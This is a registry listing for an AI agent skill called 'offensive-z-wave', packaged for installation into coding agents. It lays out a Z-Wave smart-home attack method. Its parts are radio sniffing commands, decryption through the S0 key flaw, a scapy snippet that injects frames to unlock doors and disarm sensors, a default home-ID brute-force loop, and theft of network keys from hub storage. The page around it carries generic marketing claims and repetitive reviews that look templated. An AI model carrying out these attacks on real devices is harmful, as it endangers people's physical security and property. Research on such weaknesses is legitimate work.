offensive-z-wave
Automate repetitive workflows and reduce manual effort
Example: Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example: Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example: Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Time estimate: 15-45 minutes depending on use case complexity
Prerequisites
Submit your Claude Code skill and start earning
epx add SnailSploit/Claude-Red --skill offensive-z-waveCompatible with
Supported agents
Z-Wave attack methodology — sniffing with Z-Force / EZ-Wave / RTL-SDR + ZniffMobile, S0 (legacy) network-key derivation flaw and key reuse,
Practical, repeatable guidance for authorized security work.
Includes procedures, checks, and references for this skill.
| name | offensive-z-wave |
| description | "Z-Wave attack methodology — sniffing with Z-Force / EZ-Wave / RTL-SDR + ZniffMobile, S0 (legacy) network-key derivation flaw and key reuse, S2 (modern) ECDH commissioning analysis, replay/injection on unauthenticated nodes, default-key brute-force on test deployments, and home-automation hub pivots. Use when targeting Z-Wave smart home devices (door locks, sensors, garage controllers) — common in mid-2010s smart home deployments still in production." |
Z-Wave runs in the 800/900 MHz ISM band (US: 908 MHz, EU: 868 MHz). Older networks used the S0 security scheme with a fixed-derivation network key — long-known to be flawed. S2 (mandatory for Z-Wave Plus v2 since 2017) uses ECDH commissioning and is significantly stronger.
| Adapter | Use |
|---|---|
| Z-Force (legacy, hard to find) | Original research tool |
| EZ-Wave (custom HackRF firmware) | Modern, full transceiver |
| Aeotec Z-Stick | Commercial controller, useful as legitimate node |
| HackRF + open Z-Wave firmware | Multi-band SDR approach |
| RTL-SDR + ZniffMobile (passive only) | Cheap sniffer |
# EZ-Wave (HackRF firmware-based)
git clone https://github.com/cureHsu/EZ-Wave
ezwave-sniff -f 908.4MHz -o capture.pcap
# Wireshark with the Z-Wave dissector parses captured frames
wireshark capture.pcap
Look for the inclusion phase (controller adding new device) — that's where the network key is exchanged.
S0 derives the network key from a fixed all-zero PSK during the inclusion of the first device. That fixed material is well-known — any S0 network you sniff during inclusion can be decrypted offline.
S0 commissioning:
1. New node joins → controller sends key with zero-PSK encryption
2. Attacker sniffs commissioning frame → derives session key
3. All future S0 traffic on that network is decryptable
If you can:
You own the network key for that mesh.
S2 fixes S0 by using ECDH for commissioning:
S2 attack surface is mostly implementation:
Many low-end Z-Wave devices (older sensors, basic switches) don't enforce S0 or S2 — they accept commands in cleartext.
# scapy-zwave (community fork) for crafted frames
from scapy.contrib.zwave import *
frame = ZWave(home_id=0x12345678)/ZWaveBasic(set_value=0xff)
sendp(frame, iface='ezwave0')
This unlocks doors / switches lights / unarms sensors when the target lacks authentication.
For old test deployments using default home IDs / network keys:
# Try default home IDs
for hid in 0x00000000 0x12345678 ...; do
ezwave-test --home-id $hid --target-node 1
done
Hit rate on production is low; useful only for default-config IoT lab gear.
Z-Wave devices are typically controlled by a hub (SmartThings, Hubitat, Vera, Home Assistant, Z-Wave JS UI). The hub is a Linux device with the Z-Wave PSK in plaintext storage:
~/.homeassistant/zwave_js.json typically contains keysCompromise the hub → walk away with the Z-Wave PSK + every paired device's command authority. See offensive-iot for hub firmware extraction.
# 1. Identify region + frequency
# US: 908.4 MHz; EU: 868.4 MHz; CN: 868.4 MHz
# 2. Sniff
ezwave-sniff -f 908.4MHz -o cap.pcap
wireshark cap.pcap # filter zwave
# 3. Identify S0 vs S2 from frame format
# 4. For S0: capture inclusion → derive key → decrypt history + control devices
# 5. For S2: focus on hub compromise / DSK theft / implementation bugs
# 6. Test unauthenticated cleartext devices with crafted frames
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionoffensive-z-waveExecute the skills CLI command in your project's root directory to begin installation:
epx add SnailSploit/Claude-Red --skill offensive-z-waveFetches offensive-z-wave from SnailSploit/Claude-Red and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
.cursor/skills/offensive-z-wave
Restart Cursor to activate offensive-z-wave. Access via /offensive-z-wavein your agent's command palette.
Learn more:View source on GitHubSkills CLI docsAbout CursorWhat are agent skills?
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
offensive-cicd-pipeline
SnailSploit/Claude-Red · cicd · same repo
offensive-advanced-redteam
SnailSploit/Claude-Red · infrastructure · same repo
offensive-request-smuggling
SnailSploit/Claude-Red · web · same repo
offensive-xss
SnailSploit/Claude-Red · web · same repo
offensive-phishing
SnailSploit/Claude-Red · social-engineering · same repo
offensive-windows-boundaries
SnailSploit/Claude-Red · infrastructure · same repo
offensive-z-wave is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
offensive-z-wave reduced setup friction for our internal harness; good balance of opinion and flexibility.
offensive-z-wave fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
I recommend offensive-z-wave for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
offensive-z-wave fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
offensive-z-wave is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Useful defaults in offensive-z-wave — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
Registry listing for offensive-z-wave matched our evaluation — installs cleanly and behaves as described in the markdown.
Solid pick for teams standardizing on skills: offensive-z-wave is focused, and the summary matches what you get after install.
Solid pick for teams standardizing on skills: offensive-z-wave is focused, and the summary matches what you get after install.
showing 1-10 of 59